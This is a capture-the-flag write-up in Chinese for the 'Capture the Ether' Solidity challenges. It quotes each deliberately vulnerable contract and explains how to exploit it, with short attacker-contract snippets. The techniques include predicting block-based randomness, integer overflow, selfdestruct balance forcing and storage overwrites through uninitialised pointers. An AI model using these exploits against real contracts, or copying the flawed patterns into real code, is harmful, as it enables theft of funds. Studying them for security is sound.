uint8 n
範圍為0~255,直接用brute force方法破解即可。n
範圍不能太小
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
answer
可在鏈上直接查到。block.blockhash
、block.number
、block.timestamp
作為產生隨機數的inputsconst number = BigNumber.from(
await contract.provider.getStorageAt(contract.address, 0)
);
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
answer
,再呼叫其guess()
即可block.blockhash
、block.number
、block.timestamp
作為產生隨機數的inputs
function attack() external payable {
require(address(this).balance >= 1 ether, "not enough funds");
uint8 answer = uint8(uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
));
challenge.guess{value: 1 ether}(answer);
require(challenge.isComplete(), "challenge not completed");
msg.sender.transfer(address(this).balance);
}
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
tx.origin.transfer(2 ether);
}
}
}
answer
的範圍僅限 0~9,可藉由撰寫一份新的智能合約,呼叫lockInGuess()
隨意設定一個數字(e.g., 0
),再多次嘗試呼叫attack()
直到答案符合即可。answer
不符合將revert
而還原合約state,因此不會受任何影響answer
範圍不能太小
別使用block.blockhash
、block.number
、block.timestamp
作為產生隨機數的inputs
function lockInGuess(uint8 n) external payable {
challenge.lockInGuess{value: 1 ether}(n);
}
function attack() external payable {
challenge.settle();
require(challenge.isComplete(), "challenge not completed");
tx.origin.transfer(address(this).balance);
}
receive() external payable {}
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
blockhash
函數只回傳最後256個blocks的實際區塊hash值。blockhash(uint blockNumber) returns (bytes32)
:僅適用於最近的256個blocks,不包括當前塊。
0x00000000000000000000000000000000000000000000000000000000000000000
settle()
操作。contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
msg.value
是否等於 (2256 / 1018) * 1018 = 2256 = 0) → 成功饒過require statement → 使得自己的balanceOf
增加 → 呼叫T.sell(1)取得ethercontract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
transferFrom()
& _transfer()
寫法是有問題的,可往此方向破解。newPlayer
player
呼叫approve
(newPlayer
, 2256-1) → transferFrom
[req3] passedtransferFrom(player, player, 1)
→ transferFrom
[req1+req2] passed_transfer(player, 1)
→ msg.sender == newPlayer
→ balanceOf[newPlayer]
- 1 = 0 - 1 = 2256-1;newPlayer
呼叫transfer(player, 1000000)
→ isComplete = true
transferFrom()
內部的msg.sender
應為to
,兩者不應混用_transfer()
參數應為from, to, value
,內部也不應使用msg.sender
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
collectPenalty()
是可能的切入點,然而collectPenalty()
未有參數可供輸入,因此得用其他方式破解。例如強制發送ethers,以控制address(this).balance之值。selfdestruct(RF)
,強制使得address(this).balance = 1 ether + 1 wei
→ withdrawn
= 2256-1require(withdrawn > 0)
→ beneficiary
接收來自RF合約中的全部ethersetherBalance
與address(this).balance
有可能發生不同步的狀況,使得檢查失靈並造成漏洞。contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
set(key, value)
嘗試修改isComplete的值。
map[]
全展開 → set
(2256-2, 0) → map.length
= 2256-1keccak256(1)
+ index → 使之overflow繞回#0keccak256(1)
= 2256 - 80084422…44778998 → elemSlot# = 0set(index, 1)
→ isComplete
= truecontract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
donate()
寫法有誤:scale = 10^36 & uint256 etherAmount
的單位不是ether(10^18),使得msg.value
很小的情況下能通過require()
的檢查Donation donation;
未標註storage
or memory
,則預設為storage
。此語法意味著donation
其實是指向了的slot#0 (i.e., Donation[] array length),而donation.timestamp
與donation.etherAmount
各對應slot#0與slot#1 (i.e., address owner) 的位置。donate()
嘗試修改owner的值donate(uint(newAddress)/scale)
donation.etherAmount
=newAddress
→ owner
=newAddress
→ 呼叫withdraw()
即可uint256 scale = 10**18 * 1 ether;
改為uint256 scale = 10**18;
require(msg.value == etherAmount / scale);
改為etherAmount * scale
Donation donation;
改為Donation memory donation;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
upsert()
的else分支,發現再次使用了未初始化的storage pointer。contribution.amount
& contribution.unlockTimestamp
分別覆寫了q.length
& head
。queue.push(contribution);
的關係,contribution.amount
、也就是q.length
遭msg.value
覆寫之後,q.length
還會再+1 (q.push
函數中的內部指令順序:q.length首先遞增,然後再複製queue entry)。queue[queue.length - 1].unlockTimestamp + 1 days
的overflow,使其值變為0,這樣便可以在timestamp = 0的情況下通過require()
之檢查。upsert
(1, 2256-86400) & msg.value = 1 wei (若呼叫upsert
未設定msg.value
=q.length
的話,q.length
將被視為0、也就是被視為empty,所有的值都讀不到了)。upsert
(2, 0) & msg.value
= 2 wei,即可繞過require(timestamp...)
,使得head
= 0。withdraw(2)
,合約裡的etherBalance
= 1 ether + 1 wei + 2 wei,而uint256 total
= 1 ether + 2 wei + 3 wei (多出2 wei),因此得先用selfdestruct
強制發送2 wei到此合約,然後再呼叫withdraw(2)
即可。contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
利用pre-compute合約地址 + brute force的方式破解
interface IName {
function name() external view returns (bytes32);
}
contract FuzzyIdentityChallenge {
bool public isComplete;
function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));
isComplete = true;
}
function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}
function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}
return false;
}
}
contract PublicKeyChallenge {
address owner = 0x92b28647ae1f3264661f72fb2eb9625a89d88a31;
bool public isComplete;
function authenticate(bytes publicKey) public {
require(address(keccak256(publicKey)) == owner);
isComplete = true;
}
}
contract AccountTakeoverChallenge {
address owner = 0x6B477781b0e68031109f21887e6B5afEAaEB002b;
bool public isComplete;
function authenticate() public {
require(msg.sender == owner);
isComplete = true;
}
}